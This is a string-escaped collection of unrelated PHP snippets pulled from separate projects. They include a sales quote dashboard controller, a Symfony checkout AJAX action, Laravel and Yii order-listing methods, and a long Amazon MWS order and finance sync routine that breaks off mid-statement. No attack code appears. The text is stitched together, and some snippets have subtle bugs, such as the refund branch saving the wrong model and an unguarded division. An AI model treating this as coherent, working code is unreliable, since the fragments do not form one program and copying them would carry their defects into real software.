Ep_Quote_Client();\n\t\t\t\t$bo_user_details=$client_obj->getQuoteUserDetails($quote['quote_by']);\n\t\t\t\t\n\t\t\t\tif($quote['deleted_by'])\n\t\t\t\t{\n\t\t\t\t\t$deleted_user=$client_obj->getQuoteUserDetails($quote['deleted_by']);\n\t\t\t\t\t$quoteList[$q]['deleted_user'] = $deleted_user[0]['first_name'].' '.$deleted_user[0]['last_name'];\n\t\t\t\t}\n\n\t\t\t\t$quoteList[$q]['owner']=$bo_user_details[0]['first_name'].' '.$bo_user_details[0]['last_name'];\n\n\t\t\t\t$prod_team=$quote['prod_review']!='auto_skipped' ? 'Prod ': '';\n\t\t\t\t$seo_team=$quote['seo_review']!='auto_skipped' ? 'Seo ': '';\n\t\t\t\t$tech_team=$quote['tec_review']!='auto_skipped' ? 'Tech ': '';\n\n\t\t\t\t$quoteList[$q]['team']=$prod_team.$seo_team.$tech_team;\n\n\t\t\t\tif(!$quoteList[$q]['team'])\n\t\t\t\t\t$quoteList[$q]['team']='only sales';\n\n\n\t\t\t\t//turnover calculations\n\t\t\t\t/*if($quote['sales_review']=='not_done' || $quote['sales_review']=='to_be_approve' )\n\t\t\t\t{\n\t\t\t\t\t\tif($quote['sales_suggested_currency']=='euro')\n\t\t\t\t\t\t\t$total_ongoing_turnover_euro +=$quote['turnover'];\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t$total_ongoing_turnover_pound +=$quote['turnover'];\n\t\t\t\t}\n\t\t\t\t\t\n\n\t\t\t\tif($quote['sales_review']=='validated')\n\t\t\t\t{\n\t\t\t\t\tif($quote['sales_suggested_currency']=='euro')\n\t\t\t\t\t\t$validated_turnover_euro += $quote['turnover']\t;\n\t\t\t\t\telse\n\t\t\t\t\t\t$validated_turnover_pound += $quote['turnover']\t;\n\t\t\t\t}\n\t\t\t\t\t\n\n\t\t\t\tif($quote['sales_review']=='signed')\n\t\t\t\t{\n\t\t\t\t\tif($quote['sales_suggested_currency']=='euro')\n\t\t\t\t\t\t$signed_turnover_euro += $quote['turnover'];\n\t\t\t\t\telse\n\t\t\t\t\t\t$signed_turnover_pound += $quote['turnover'];\n\t\t\t\t}*/\n\t\t\t\t//turnover calculations\n\t\t\t\t\n\t\t\t\tif($quote['sales_review']=='not_done' || $quote['sales_review']=='to_be_approve' )\n\t\t\t\t{\n\t\t\t\t\t\tif($quote['sales_suggested_currency']=='euro')\n\t\t\t\t\t\t\t$total_ongoing_turnover_euro +=$quote['turnover'];\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t$total_ongoing_turnover_pound +=$quote['turnover'];\n\t\t\t\t}\n\n\t\t\t\t\n\n\t\t\t\tif($quote['sales_review']=='signed')\n\t\t\t\t{\n\t\t\t\t\tif($quote['sales_suggested_currency']=='euro')\n\t\t\t\t\t\t$signed_turnover_euro += $quote['turnover'];\n\t\t\t\t\telse\n\t\t\t\t\t\t$signed_turnover_pound += $quote['turnover'];\n\n\t\t\t\t\t$existval= $quote_obj->checkcontractexist($quote['identifier']);\n\t\t\t\t\t\n\t\t\t\t\tif(count($existval[0]['quotecontractid'])>0)\n\t\t\t\t\t{\n\t\t\t\t\t\t$quoteList[$q]['signed_exist']=1;\n\t\t\t\t\t\t$quoteList[$q]['signed_contract']=$existval[0]['contractname'];\n\t\t\t\t\t\t$quoteList[$q]['signed_contractid']=$existval[0]['quotecontractid'];\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$quoteList[$q]['signed_exist']=0;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\t\n\t\t\t \n\t\t\t\t//Mean Time Quotes signature \n\t\t\t\t\n\t\t\t\tif(($quote['sales_review']=='validated' || $quote['sales_review']=='signed') && $quote['signed_at']!='')\n\t\t\t\t{\n\t\t\t\t\t\t$quotes_log=new Ep_Quote_QuotesLog();\n\t\t\t\t\t\t$quotesAction=$quotes_log->getquoteslogvalid($quote['identifier'],'sales_validated_ontime');\n\t\t\t\t\t//print_r($quotesAction);\n\t\t\t\t\t\tif($quotesAction[0]['action_at']!=\"\"){\n\t\t\t\t\t\t\t$date_difference=strtotime($quote['signed_at'])-strtotime($quotesAction[0]['action_at']);\n\t\t\t\t\t\t\t$in_day+=$date_difference/(60 * 60 * 24);\n\t\t\t\t\t\t\t$ave_count++;\n\t\t\t\t\t\t }\n\t\t\t\t\t\n } \n \n //relancer Section\n if($quote['releaceraction']!=''){\n\t\t\t\t\t $quoteList[$q]['relance_actiondate']=date(\"Y-m-d\", strtotime(\"+1 month\", strtotime($quote['releaceraction'])));\n\t\t\t\t\t} \n\t\t\t\t\t \n if($quote['quotesvalidated']!=''){\n\t\t\t\t\t $quoteList[$q]['relance_validated']=date(\"Y-m-d\", strtotime(\"+5 days\", strtotime($quote['quotesvalidated'])));\n\t\t\t\t\t} \n \n\t\t\t\t\t\n\t\t\t\tif($quoteList[$q]['version']>1)\n\t\t\t\t{\n\t\t\t\t\t$versions = $quote_obj->getQuoteVersionDetails($quote['identifier']);\n\t\t\t\t\t$quoteList[$q]['version_dates'] = \"<table class='table quote-history table-striped'>\";\n\t\t\t\t\tforeach($versions as $version):\n\t\t\t\t\t$quoteList[$q]['version_dates'] .= '<tr><td>v'.$version['version'].' - '.date('d/m/Y',strtotime($version['created_at'])).\"</td></tr>\";\n\n\t\t\t\t\tendforeach;\n\t\t\t\t\t$quoteList[$q]['version_dates'] .= '</table>';\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t$quoteList[$q]['version_dates'] = \"\";\n\t\t\t\t\n\t\t\t\t//relancer turnover and flag\n\t\t\t\t\tif( (($quote['sales_review']=='closed' && (date(\"Y-m-d\") > $quoteList[$q]['relance_actiondate'] || $quote['boot_customer']!=\"\") ) \n\t\t\t\t\t ||\t(time() > $quoteList[$q]['sign_expire_timeline'] && $quote['sales_review']=='validated'))\n\t\t\t\t\t && $quote['closed_reason']!= 'quote_permanently_lost')\n\t\t\t\t\t {\n\t\t\t\t\t\tif($quote['sales_suggested_currency']=='euro')\n\t\t\t\t\t\t$relancer_turnover_euro+=$quote['turnover'];\n\t\t\t\t\t\telse\n\t\t\t\t\t\t$relancer_turnover_pound+=$quote['turnover'];\n\t\t\t\t\t\t$quoteList[$q]['relancer_status']=1;\n\t\t\t\t\t}else{\n\t\t\t\t\t\t$quoteList[$q]['relancer_status']=0;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t//closed quotes flag\n\t\t\t\tif( ($quote['sales_review']=='closed' && date(\"Y-m-d\") <= $quoteList[$q]['relance_actiondate'] && $quote['boot_customer']==\"\")\n\t\t\t\t || $quote['closed_reason']=='quote_permanently_lost') \n\t\t\t\t{\n\t\t\t\t\t$quoteList[$q]['closed_status']=1;\n\t\t\t\t}else\n\t\t\t\t{\n\t\t\t\t\t$quoteList[$q]['closed_status']=0;\n\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t//validated turnover\n\t\t\t\tif($quote['sales_review']=='validated' && time() <= $quoteList[$q]['sign_expire_timeline'])\n\t\t\t\t{\n\t\t\t\t\tif($quote['sales_suggested_currency']=='euro')\n\t\t\t\t\t\t$validated_turnover_euro += $quote['turnover']\t;\n\t\t\t\t\telse\n\t\t\t\t\t\t$validated_turnover_pound += $quote['turnover']\t;\n\t\t\t\t\n\t\t\t\t$quoteList[$q]['validated_status']=1;\n\t\t\t\t\tif($quote['is_new_quote']==1)\n\t\t\t\t\t{\n\t\t\t\t\t$quoteList[$q]['new_quote']=1;\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t$quoteList[$q]['new_quote']=0;\t\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t$quoteList[$q]['validated_status']=0;\n\t\t\t\t\tif($quote['is_new_quote']==1)\n\t\t\t\t\t{\n\t\t\t\t\t$quoteList[$q]['new_quote']=1;\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t$quoteList[$q]['new_quote']=0;\t\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\n\t\t\t\t$q++;\n\t\t\t}\n\t\t\t$meantime_sign_days=round(abs($in_day)/$ave_count,0);\n\t\t\t//echo \"<pre>\";print_r($quoteList);exit;\n\t\t\t$this->_view->quote_list=$quoteList;\n\t\t\t$this->_view->total_ongoing_turnover_euro = $total_ongoing_turnover_euro;\n\t\t\t$this->_view->total_ongoing_turnover_pound = $total_ongoing_turnover_pound;\n\t\t\t$this->_view->validated_turnover_euro = $validated_turnover_euro;\n\t\t\t$this->_view->validated_turnover_pound = $validated_turnover_pound;\n\t\t\t$this->_view->signed_turnover_euro = $signed_turnover_euro;\n\t\t\t$this->_view->signed_turnover_pound = $signed_turnover_pound;\n\t\t\t$this->_view->relancer_turnover_euro=$relancer_turnover_euro;\n\t\t\t$this->_view->relancer_turnover_pound=$relancer_turnover_pound;\n\t\t\t$this->_view->day_difference=$meantime_sign_days;\n\n\t\t}\t\n\t\t$this->_view->quote_sent_timeline=$this->configval[\"quote_sent_timeline\"];\n\t\t$this->_view->prod_timeline=$this->configval[\"prod_timeline\"];\n\n\t\t$this->_view->techManager_holiday=$this->configval[\"tech_manager_holiday\"];\n\t\t$this->_view->seoManager_holiday=$this->configval[\"seo_manager_holiday\"];\n\n\t\t//echo \"<pre>\";print_r($quoteList);exit;\n\t\t$this->_view->closedreasons = $this->closedreason;\n\t\t$this->render('sales-quotes-list');\n\n\t\tif($listParams['file_download']=='yes' && $listParams['quote_id'])\n\t\t\theader( \"refresh:1;url=/quote/download-quote-xls?quote_id=\".$listParams['quote_id']);\n\t}", "public function ajaxGetOrderInformationAction(Request $request)\n {\n\t\t// Get the services\n \t$basketService = $this->get('web_illumination_admin.basket_service');\n \t\n \t// Get the session\n\t\t$basket = $this->get('session')->get('basket');\n\t\t$order = $this->get('session')->get('order');\n \t\n\t\t// Get submitted data\n\t\t$countryCode = ($request->query->get('countryCode')?$request->query->get('countryCode'):$basket['delivery']['countryCode']);\n\t\t$postZipCode = ($request->query->get('postZipCode')?$request->query->get('postZipCode'):$basket['delivery']['postZipCode']);\n\t\t$deliveryOption = ($request->query->get('deliveryOption')?$request->query->get('deliveryOption'):$basket['delivery']['service']);\n if ($countryCode == 'IE')\n {\n $postZipCode = '000';\n } else {\n if ($postZipCode == '000')\n {\n $postZipCode = '';\n }\n }\n\t\t\n\t\t// Get the basket\n\t\t$basket = $this->get('session')->get('basket');\n\t \t\t\t\n\t\t// Update the delivery options\n\t\t$basket['delivery']['countryCode'] = $countryCode;\n\t\t$basket['delivery']['postZipCode'] = $postZipCode;\n\t\t$basket['delivery']['service'] = $deliveryOption;\n\t\t$order['deliveryType'] = $deliveryOption;\n\t\tif (($order['deliveryCountryCode'] != $countryCode) || ($order['deliveryPostZipCode'] != $postZipCode))\n\t\t{\n \t\t\t$order['deliveryFirstName'] = $order['firstName'];\n \t\t$order['deliveryLastName'] = $order['lastName'];\n \t\t$order['deliveryOrganisationName'] = $order['organisationName'];\n \t\t$order['deliveryAddressLine1'] = '';\n \t\t$order['deliveryAddressLine2'] = '';\n \t\t$order['deliveryTownCity'] = '';\n \t\t$order['deliveryCountyState'] = '';\n \t\t$order['deliveryPostZipCode'] = $postZipCode;\n \t\t$order['deliveryCountryCode'] = $countryCode;\n \t\tif ($order['sameDeliveryAddress'] > 0)\n \t\t{\n\t \t\t$order['billingFirstName'] = $order['firstName'];\n\t \t\t$order['billingLastName'] = $order['lastName'];\n\t \t\t$order['billingOrganisationName'] = $order['organisationName'];\n\t \t\t$order['billingAddressLine1'] = '';\n\t \t\t$order['billingAddressLine2'] = '';\n\t \t\t$order['billingTownCity'] = '';\n\t \t\t$order['billingCountyState'] = '';\n\t \t\t$order['billingPostZipCode'] = $postZipCode;\n\t \t\t$order['billingCountryCode'] = $countryCode;\n \t\t}\n\t\t}\n\t\t\t\n\t\t// Update the session\n \t$this->get('session')->set('basket', $basket);\n \t$this->get('session')->set('order', $order);\n \t\n \t// Update the basket totals\n \t$basketService->updateBasketTotals();\n \t\n \t// Get the basket\n\t\t$basket = $this->get('session')->get('basket');\n\t\t\t\n\t\t// Get the order\n\t\t$order = $this->get('session')->get('order');\n\n $response = $this->render('WebIlluminationShopBundle:Checkout:ajaxGetOrderInformation.html.twig', array('basket' => $basket, 'order' => $order));\n $response->headers->addCacheControlDirective('no-cache', true);\n $response->headers->addCacheControlDirective('max-age', 0);\n $response->headers->addCacheControlDirective('must-revalidate', true);\n $response->headers->addCacheControlDirective('no-store', true);\n\n return $response;\n }", "function get_order()\n{\n\n}", "function getOrderings() ;", "function get_acquisition_qty_by_country(){\n \n $from_date = $_REQUEST['from_date'];\n $to_date = $_REQUEST['to_date'];\n\n $obj = new vintage_has_acquire();\n //$columns = \"DATE_FORMAT(acquire_date,'%b') as Month\";\n $columns = \" tblcountry.country, sum(trelVintageHasAcquire.qty) as qty\";\n //$group = \" trelVintageHasAcquire.acquire_id \";\n $group = \" tblcountry.country \";\n //$where = \" tblAcquire.acquire_date BETWEEN '2014-01-01' AND '2014-12-31'\";\n $sort = \" qty DESC \";\n $limit = '12';\n $rst = $obj ->get_extended($where,$columns,$group, $sort, $limit);\n \n \n if(!$rst){\n $var_result['success']=false;\n $var_result['error']=\"get_acquisition_qty_by_country() failed\";\n return $var_result;\n }\n\n $var_result['success']=true;\n $var_result['data']=$rst;\n return $var_result;\n \n}", "public function actionGetOrders(): \\yii\\web\\Response\n {\n return $this->asJson(CommerceReports::$plugin->orders->getOrders());\n }", "public function index_future()\n {\n $orders = Order::whereUserId(Auth('user')->user()->id)->whereIn('status', ['completed', 'cancelled_user', 'cancelled_system', 'cancelled_failed_payment'])\n ->whereDate('created_at', '>=', now()->addDay())\n ->paginate(20);\n $response['status'] = 'success';\n $response['orders'] = $orders;\n return response()->json($response, Response::HTTP_OK);\n }", "public function fetch_orders_date(Request $request) {\n $data['orders'] = Order::whereBetween('created_at', array($request->from, $request->to))->get();\n $data['areas'] = Area::where('deleted', 0)->orderBy('id', 'desc')->get();\n $data['from'] = '';\n $data['to'] = '';\n if (isset($request->from)) {\n $data['from'] = $request->from;\n $data['to'] = $request->to;\n }\n $data['sum_price'] = Order::whereBetween('created_at', array($request->from, $request->to))->sum('subtotal_price');\n $data['sum_delivery'] = Order::whereBetween('created_at', array($request->from, $request->to))->sum('delivery_cost');\n $data['sum_total'] = Order::whereBetween('created_at', array($request->from, $request->to))->sum('total_price');\n return view('admin.orders' , ['data' => $data]);\n }", "public function getDailyOrders($id=null)\n {\n $startDate = date(\"Y-m-d H:i:s\", strtotime('-1 month', time()));\n $endDate = date('Y-m-d H:i:s');\n\n $userData = User::find()->andFilterWhere(['u_id' => $id])->andWhere(['IS NOT', 'u_mws_seller_id', null])->all();\n\n foreach ($userData as $user) {\n \\Yii::$app->data->getMwsDetails($user->u_mws_seller_id, $user->u_mws_auth_token);\n\n $orderList = \\Yii::$app->api->getOrdersList('Created', $startDate, $endDate);\n foreach ($orderList as $order) {\n $order = (array)$order;\n $order = array_shift($order);\n if ($order) {\n\n $model = AllOrdesList::findOne(['aol_amazon_order_id' => $order['AmazonOrderId'], 'aol_user_id' => $user->u_id]);\n if (!$model) {\n $model = new AllOrdesList();\n }\n $model->aol_amazon_order_id = (key_exists('AmazonOrderId', $order)) ? $order['AmazonOrderId'] : null;\n $model->aol_seller_order_id = (key_exists('SellerOrderId', $order)) ? $order['SellerOrderId'] : null;\n $model->aol_purchase_date = (key_exists('PurchaseDate', $order)) ? $order['PurchaseDate'] : null;\n $model->aol_last_updated_date = (key_exists('LastUpdateDate', $order)) ? $order['LastUpdateDate'] : null;\n $model->aol_order_status = (key_exists('OrderStatus', $order)) ? $order['OrderStatus'] : null;\n $model->aol_fulfilment_channel = (key_exists('FulfillmentChannel', $order)) ? $order['FulfillmentChannel'] : null;\n $model->aol_sales_channel = (key_exists('SalesChannel', $order)) ? $order['SalesChannel'] : null;\n $model->aol_ship_service = (key_exists('ShipServiceLevel', $order)) ? $order['ShipServiceLevel'] : null;\n $model->aol_order_total = (key_exists('OrderTotal', $order)) ? $order['OrderTotal']['Amount'] : 0;\n $model->aol_shipped_items = (key_exists('NumberOfItemsShipped', $order)) ? $order['NumberOfItemsShipped'] : null;\n $model->aol_unshipped_items = (key_exists('NumberOfItemsUnshipped', $order)) ? $order['NumberOfItemsUnshipped'] : null;\n $model->aol_user_id = $user->u_id;\n if($model->save(false)) {\n echo $model->aol_amazon_order_id.\" is Saved. \";\n }\n\n $model = AllOrdesList::findOne($model->aol_amazon_order_id);\n if($model) {\n sleep(2);\n /**\n * Get Finance Event Data\n */\n $financeEventData = \\Yii::$app->api->getFinanceEventList($model->aol_amazon_order_id);\n $amazonOrderId = $sellerOrderId = $shipmentRefundId = null;\n\n if ($financeEventData) {\n // print_r($financeEventData); exit();\n /**\n * Store Shipment Event Data 111-8188019-0760241\n */\n if ($shipmentData = $financeEventData['shipmentEventData']) {\n foreach ($shipmentData as $sVal) {\n $modelSR = new ShipmentRefundEventData();\n $modelSR->sred_amazon_order_id = $amazonOrderId = $sVal['AmazonOrderId'];\n $modelSR->sred_seller_order_id = $sellerOrderId = $sVal['SellerOrderId'];\n $modelSR->sred_marketplace_name = $sVal['MarketplaceName'];\n $modelSR->sred_shipment_posted_date = $sVal['PostedDate'];\n $modelSR->sred_event_type = 'Order';\n\n if ($modelSR->save(false)) {\n $shipmentRefundId = $modelSR->sred_id;\n if (key_exists('ShipmentItemList', $sVal) && is_array($sVal['ShipmentItemList']) && $shipmentItemData = $sVal['ShipmentItemList']) {\n foreach ($shipmentItemData as $sItem) {\n $sellerSku = $sItem['SellerSKU'];\n $orderItemId = $sItem['OrderItemId'];\n $shippedQuantity = $sItem['QuantityShipped'];\n\n if (key_exists('ItemChargeList', $sItem) && is_array($sItem['ItemChargeList']) && $itemChargeData = $sItem['ItemChargeList']) {\n foreach ($itemChargeData as $iData) {\n $itemModel = new ItemChargeListData();\n $itemModel->icld_quantity_shipped = $shippedQuantity;\n $itemModel->icld_seller_sku = $sellerSku;\n $itemModel->icld_order_item_id = $orderItemId;\n $itemModel->icld_amazon_order_id = $modelSR->sred_amazon_order_id;\n $itemModel->icld_seller_order_id = $modelSR->sred_seller_order_id;\n $itemModel->icld_item_charge_type = $iData['ChargeType'];\n $itemModel->icld_charge_amount = $iData['Amount'];\n $itemModel->icld_currency = $iData['CurrencyCode'];\n $itemModel->icld_transaction_type = 'Order';\n $itemModel->icld_item_type = 'Shipment';\n $itemModel->icld_shipment_refund_event_data_id = $modelSR->sred_id;\n if ($itemModel->save(false)) {\n echo \"Item Charge Saved.\";\n }\n } //$itemChargeData\n }\n\n if (key_exists('ItemFeeList', $sItem) && is_array($sItem['ItemFeeList']) && $itemFeeChargeData = $sItem['ItemFeeList']) {\n foreach ($itemFeeChargeData as $ifData) {\n $feeModel = new ItemFeeListData();\n $feeModel->ifld_quantity_shipped = $shippedQuantity;\n $feeModel->ifld_seller_sku = $sellerSku;\n $feeModel->ifld_order_item_id = $orderItemId;\n $feeModel->ifld_amazon_order_id = $modelSR->sred_amazon_order_id;\n $feeModel->ifld_seller_order_id = $modelSR->sred_seller_order_id;\n $feeModel->ifld_fee_type = $ifData['FeeType'];\n $feeModel->ifld_fee_amount = $ifData['Amount'];\n $feeModel->ifld_currency = $ifData['CurrencyCode'];\n $feeModel->ifld_transaction_type = 'Order';\n $feeModel->ifld_item_type = 'Shipment';\n $feeModel->ifld_shipment_refund_event_id = $modelSR->sred_id;\n if ($feeModel->save(false)) {\n echo \"Item Fee Saved.\";\n }\n } // $itemFeeChargeData\n }\n } // $shipmentItemData\n }\n }\n } //$shipmentData\n } // if : $shipmentData\n\n /**\n * Store Refund Event Data\n */\n if ($refundData = $financeEventData['refundEventData']) {\n foreach ($refundData as $rValue) {\n $modelSR = new ShipmentRefundEventData();\n $modelSR->sred_amazon_order_id = $rValue['AmazonOrderId'];\n $modelSR->sred_seller_order_id = $rValue['SellerOrderId'];\n $modelSR->sred_marketplace_name = $rValue['MarketplaceName'];\n $modelSR->sred_refund_posted_date = $rValue['PostedDate'];\n $modelSR->sred_event_type = 'Refund';\n\n if ($model->save(false)) {\n /*$vnModel = new VaNotification();\n $vnModel->vn_amazon_order_id = $modelSR->sred_amazon_order_id;\n $vnModel->vn_refund_posted_date = $modelSR->sred_refund_posted_date;\n $vnModel->vn_shipment_refund_event_data_id = $modelSR->sred_id;\n $vnModel->save(false);*/\n\n if (key_exists('ShipmentItemAdjustmentList', $rValue) && is_array($rValue['ShipmentItemAdjustmentList']) && $shipmentItemData = $rValue['ShipmentItemAdjustmentList']) {\n foreach ($shipmentItemData as $sItem) {\n $sellerSku = $sItem['SellerSKU'];\n $orderItemId = (key_exists('OrderAdjustmentItemId', $sItem)) ? $sItem['OrderAdjustmentItemId'] : null;\n $shippedQuantity = (key_exists('QuantityShipped', $sItem)) ? $sItem['QuantityShipped'] : null;\n\n if (key_exists('ItemChargeAdjustmentList', $sItem) && is_array($sItem['ItemChargeAdjustmentList']) && $itemChargeData = $sItem['ItemChargeAdjustmentList']) {\n foreach ($itemChargeData as $iData) {\n $itemModel = new ItemChargeListData();\n $itemModel->icld_quantity_shipped = $shippedQuantity;\n $itemModel->icld_seller_sku = $sellerSku;\n $itemModel->icld_order_adjustment_item_id = $orderItemId;\n $itemModel->icld_amazon_order_id = $modelSR->sred_amazon_order_id;\n $itemModel->icld_seller_order_id = $modelSR->sred_seller_order_id;\n $itemModel->icld_item_charge_type = $iData['ChargeType'];\n $itemModel->icld_charge_amount = $iData['Amount'];\n $itemModel->icld_currency = $iData['CurrencyCode'];\n $itemModel->icld_transaction_type = 'Refund';\n $itemModel->icld_item_type = 'Refund';\n $itemModel->icld_shipment_refund_event_data_id = $modelSR->sred_id;\n if ($itemModel->save(false)) {\n echo \"Refund Item Charge Saved.\";\n }\n } //$itemChargeData\n }\n\n if (key_exists('ItemFeeAdjustmentList', $sItem) && is_array($sItem['ItemFeeAdjustmentList']) && $itemFeeChargeData = $sItem['ItemFeeAdjustmentList']) {\n foreach ($itemFeeChargeData as $ifData) {\n $feeModel = new ItemFeeListData();\n $feeModel->ifld_quantity_shipped = $shippedQuantity;\n $feeModel->ifld_seller_sku = $sellerSku;\n $feeModel->ifld_order_adjustment_item_id = $orderItemId;\n $feeModel->ifld_amazon_order_id = $modelSR->sred_amazon_order_id;\n $feeModel->ifld_seller_order_id = $modelSR->sred_seller_order_id;\n $feeModel->ifld_fee_type = $ifData['FeeType'];\n $feeModel->ifld_fee_amount = $ifData['Amount'];\n $feeModel->ifld_currency = $ifData['CurrencyCode'];\n $feeModel->ifld_transaction_type = 'Refund';\n $feeModel->ifld_item_type = 'Refund';\n $feeModel->ifld_shipment_refund_event_id = $modelSR->sred_id;\n if ($feeModel->save(false)) {\n echo \"Refund Item Fee Saved.\";\n }\n } // $itemFeeChargeData\n }\n } // $shipmentItemData\n }\n }\n }\n } // if : Refund Event\n\n /*\n * Store Service Fee Event Data\n */\n if ($serviceFeeEventData = $financeEventData['serviceFeeEventData']) {\n foreach ($serviceFeeEventData as $rValue) {\n $aOrderId = $rValue['AmazonOrderId'];\n $feeReason = $rValue['FeeReason'];\n $sellerSku = $rValue['SellerSKU'];\n $fnSku = $rValue['FnSKU'];\n $feeDesc = $rValue['FeeDescription'];\n $asin = $rValue['ASIN'];\n\n if (key_exists('FeeList', $rValue) && is_array($rValue['FeeList']) && $itemChargeData = $rValue['FeeList']) {\n foreach ($itemChargeData as $iData) {\n $sModel = new ServiceFeeData();\n $sModel->sfd_amazon_order_id = $aOrderId;\n $sModel->sfd_seller_order_id = $sellerOrderId;\n $sModel->sfd_fee_reason = $feeReason;\n $sModel->sfd_seller_sku = $sellerSku;\n $sModel->sfd_fnsku = $fnSku;\n $sModel->sfd_fee_description = $feeDesc;\n $sModel->sfd_asin = $asin;\n $sModel->sfd_fee_type = $iData['FeeType'];\n $sModel->sfd_fee_amount = $iData['Amount'];\n $sModel->sfd_currency = $iData['CurrencyCode'];\n $sModel->sfd_shipment_refund_event_data_id = $shipmentRefundId;\n if ($sModel->save(false)) {\n echo \"Service Fee Data Saved.\";\n }\n }\n }\n }\n } // if : service Fee Event\n\n /**\n * Adjustment Event Data\n */\n if ($adjustmentEventData = $financeEventData['adjustmentEventData']) {\n foreach ($adjustmentEventData as $raValue) {\n $adModel = new OrderAdjustmentEventData();\n $adModel->oaed_amazon_order_id = $amazonOrderId;\n $adModel->oaed_seller_order_id = $sellerOrderId;\n $adModel->oaed_adjustment_type = $raValue['AdjustmentType'];\n $adModel->oaed_amount = $raValue['Amount'];\n $adModel->oaed_currency = $raValue['CurrencyCode'];\n\n if ($adModel->save(false)) {\n if (key_exists('AdjustmentItemList', $raValue) && is_array($raValue['AdjustmentItemList']) && $AdjustmentItemList = $raValue['AdjustmentItemList']) {\n foreach ($AdjustmentItemList as $siItem) {\n $adIModel = new OrderAdjustmentItemListData();\n $adIModel->oaild_amazon_order_id = $amazonOrderId;\n $adIModel->oaild_seller_order_id = $sellerOrderId;\n $adIModel->oaild_quantity = $siItem['Quantity'];\n $adIModel->oaild_per_unit_amount = $siItem['PerUnitAmount']['Amount'];\n $adIModel->oaild_total_amount = $siItem['TotalAmount']['Amount'];\n $adIModel->oaild_currency = $siItem['TotalAmount']['CurrencyCode'];\n $adIModel->oaild_seller_sku = $siItem['SellerSKU'];\n $adIModel->oaild_fnsku = $siItem['FnSKU'];\n $adIModel->oaild_product_description = $siItem['ProductDescription'];\n $adIModel->oaild_asin = $siItem['ASIN'];\n $adIModel->order_adjustment_event_data_id = $adModel->oaed_id;\n $adIModel->oaild_shipment_refund_event_data_id = $shipmentRefundId;\n if ($adIModel->save(false)) {\n echo \"Adjustment Item Data Saved.\";\n }\n }\n }\n }\n }\n } // if : adjustment Event Data\n\n } // main if : $financeEventData\n\n $model = AllOrdesList::findOne(['aol_amazon_order_id' => $amazonOrderId]);\n if($model) {\n $model->aol_status = 1; // Finance Event Data Pulled.\n if ($model->save(false)) {\n echo \"Finance Event Data of Order No: \" . $model->aol_amazon_order_id . \" is Saved.\";\n }\n }\n sleep(3);\n\n /**\n * Get Shipped Order Details\n */\n $model = AllOrdesList::findOne(['aol_amazon_order_id' => $model->aol_amazon_order_id]);\n if ($model && $model->aol_order_status == 'Shipped') {\n $orderDetails = \\Yii::$app->api->getOrderDetails($model->aol_amazon_order_id);\n $orderItemAsin = \\Yii::$app->api->getOrderItems($model->aol_amazon_order_id);\n if ($orderDetails) {\n $model->aol_shipping_username = key_exists('Name', $orderDetails['ShippingAddress']) ? $orderDetails['ShippingAddress']['Name'] : null;\n $model->aol_shipping_address_1 = key_exists('AddressLine1', $orderDetails['ShippingAddress']) ? $orderDetails['ShippingAddress']['AddressLine1'] : null;\n $model->aol_shipping_address_2 = key_exists('AddressLine2', $orderDetails['ShippingAddress']) ? $orderDetails['ShippingAddress']['AddressLine2'] : null;\n $model->aol_shipping_address_3 = key_exists('AddressLine3', $orderDetails['ShippingAddress']) ? $orderDetails['ShippingAddress']['AddressLine3'] : null;\n $model->aol_city = key_exists('City', $orderDetails['ShippingAddress']) ? $orderDetails['ShippingAddress']['City'] : null;\n $model->aol_country = key_exists('County', $orderDetails['ShippingAddress']) ? $orderDetails['ShippingAddress']['County'] : null;\n $model->aol_district = key_exists('District', $orderDetails['ShippingAddress']) ? $orderDetails['ShippingAddress']['District'] : null;\n $model->aol_state_or_region = key_exists('StateOrRegion', $orderDetails['ShippingAddress']) ? $orderDetails['ShippingAddress']['StateOrRegion'] : null;\n $model->aol_postal_code = key_exists('PostalCode', $orderDetails['ShippingAddress']) ? $orderDetails['ShippingAddress']['PostalCode'] : null;\n $model->aol_country_code = key_exists('CountryCode', $orderDetails['ShippingAddress']) ? $orderDetails['ShippingAddress']['CountryCode'] : null;\n $model->aol_phone = key_exists('Phone', $orderDetails['ShippingAddress']) ? $orderDetails['ShippingAddress']['Phone'] : null;\n $model->aol_buyer_name = key_exists('BuyerName', $orderDetails) ? $orderDetails['BuyerName'] : null;\n $model->aol_buyer_email = key_exists('BuyerEmail', $orderDetails) ? $orderDetails['BuyerEmail'] : null;\n $model->aol_asin = $orderItemAsin;\n $model->aol_shipped_status = 1; //Order Details Pulled\n if ($model->save(false))\n echo $model->aol_amazon_order_id . \" Details Saved.\";\n }\n sleep(3);\n\n /**\n * Get All ASIN for Order\n */\n $orderItemAsinData = \\Yii::$app->api->getOrderItems($model->aol_amazon_order_id, true);\n if ($orderItemAsinData) {\n foreach ($orderItemAsinData as $asinData) {\n $modelOI = OrderItemsAsin::findOne(['oia_order_id' => $model->aol_amazon_order_id]);\n if (!$modelOI) {\n $modelOI = new OrderItemsAsin();\n }\n $modelOI->oia_order_id = $model->aol_amazon_order_id;\n $modelOI->oia_asin = $asinData['ASIN'];\n $catData = ($modelOI->oia_asin) ? \\Yii::$app->api->getProductCategory($modelOI->oia_asin) : null;\n if ($catData) {\n $modelP = FbaAllListingData::findOne(['asin1' => $modelOI->oia_asin]);\n $sPrice = ($modelP) ? $modelP->price : 0;\n $fees = GetApiData::mwsFeesEstimate($modelOI->oia_asin, $sPrice);\n $referralFee = ($fees) ? $fees['ReferralFee'] : 0;\n\n $modelOI->oia_referral_fee = $referralFee;\n $modelOI->oia_category = $catData;\n $modelOI->oia_purchase_date = $model->aol_purchase_date;\n\n $productDimensionData = \\Yii::$app->api->getProductDimensions($modelOI->oia_asin);\n if ($productDimensionData) {\n $modelOI->oia_item_height = $productDimensionData['ItemHeight'];\n $modelOI->oia_item_length = $productDimensionData['ItemLength'];\n $modelOI->oia_item_weight = $productDimensionData['ItemWeight'];\n 